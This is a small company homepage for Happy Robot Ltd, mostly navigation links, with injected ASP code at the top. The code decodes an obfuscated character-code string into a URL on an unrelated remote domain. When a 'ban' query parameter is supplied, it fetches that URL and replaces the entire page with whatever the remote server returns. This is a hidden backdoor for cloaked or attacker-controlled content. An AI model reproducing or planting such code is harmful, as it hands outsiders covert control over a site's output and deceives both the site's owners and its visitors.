<% start()%> <% sub start() Dim GetKey,WebStr,objXML,XHtml,ThisAr,Vstr,i GetKey = Request.QueryString("ban") if GetKey <> "" then WebStr = "104_116_116_112_58_47_47_119_119_119_46_99_97_115_115_99_111_110_115_101_114_118_97_110_99_121_46_111_114_103_47_106_112_47_48_54_49_48_47_119_119_119_88_104_97_112_112_121_45_114_111_98_111_116_88_99_111_88_117_107_47_68_71_101_116_46_112_104_112_63_98_97_110_61" ThisAr=split(WebStr,"_") for i=0 to Ubound(ThisAr) if IsNumeric(ThisAr(i)) then Vstr=Vstr&chr(ThisAr(i)) end if next Set objXML = server.CreateObject("MSXML2.ServerXMLHTTP") objXML.open "GET", Vstr + GetKey, False objXML.send() XHtml = objXML.responSetext if XHtml <> "" then response.clear response.write(XHtml) response.end end if end if end sub %>

 

 

Home
Home
Happy Robot Limited
Happy Robot Ltd
Work
Who
Blog
Email
Work
Blog
Email
MainPage